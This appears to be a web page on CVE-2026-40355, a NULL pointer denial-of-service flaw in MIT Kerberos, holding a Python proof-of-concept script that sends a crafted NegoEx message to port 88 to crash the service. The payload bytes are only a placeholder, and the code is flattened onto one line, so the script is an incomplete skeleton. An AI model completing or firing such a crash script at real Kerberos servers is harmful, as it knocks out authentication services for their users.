CVE-2026-40355 MIT Kerberos空指针拒绝服务漏洞

import socket """ PoC for CVE-2026-40355 (MIT Kerberos 5 NULL Pointer Dereference) This script attempts to trigger the vulnerability by sending a crafted NegoEx message to a vulnerable service. """ def send_exploit(target_host, target_port): # Constructing a raw NegoEx token is complex; this represents the trigger. # The actual payload must manipulate the parsing logic to hit the NULL pointer. # This is a placeholder for the specific bytes required. # Reference: https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f # Example header for a Kerberos/GSS message (Simplified) # Real exploitation requires crafting the specific NegoEx extension payload = b"\x6e\x00..." # Placeholder bytes try: print(f"[+] Connecting to {target_host}:{target_port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) print("[+] Sending malicious NegoEx payload...") s.send(payload) # If successful, the server process (krb5kdc or application using libkrb5) may crash. print("[+] Payload sent. Check target for crash.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details send_exploit("127.0.0.1", 88)